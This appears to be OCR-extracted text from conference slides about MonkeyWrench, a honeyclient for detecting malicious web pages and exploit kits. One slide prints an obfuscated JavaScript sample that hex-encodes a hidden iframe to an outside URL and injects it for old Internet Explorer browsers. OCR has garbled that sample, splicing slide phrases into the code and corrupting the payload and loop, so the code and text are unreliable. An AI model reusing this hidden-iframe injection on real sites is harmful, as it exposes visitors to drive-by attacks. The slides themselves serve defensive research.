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Malicious web pages:
Web exploit kits
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Malicious web pages:
Obfuscation

<script>

var s="'3C696672616D65207372633D22687474703A2F2F7777772E7669647
36E69636865732E636F6D2F746FT702F7A2F7374617469632E7068703F73696
I3PBERE3735373332383646364237353233363337373643334236413746374
4BT3DBLP420WEB481343934352000M686D6926368T48DRRPR223296737873886E8
BP722346373808B6ATB3RBE4PBEE43222D07M6960T46832232223E3C2F6966726
36pb63Ldisplay:none” width=“2"></iframe>

var o="";

for (i=0; BuHd-a fast Honeyclient system to

o=o0+c+s.substr (i,

2) i},
var v:r;aviautemahezally detect and analyze
(cocument o tNE PUIK of ' Web attacks

if (v.indexOf ('MSIE 5.') != -1)
{document.write (unescape (o)) ;}
</script>
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MonkeyWrench: Project Goals
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MonkeyWrench: Client
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Webserver

MonkeyWrench: Client architecture
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MonkeyWrench: Detection
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Test runs: Setup
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Test runs: Numbers
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monkeywrench.de

Demo
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Future Work
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Thank you for your attention!

armin.buescher@gdata.de
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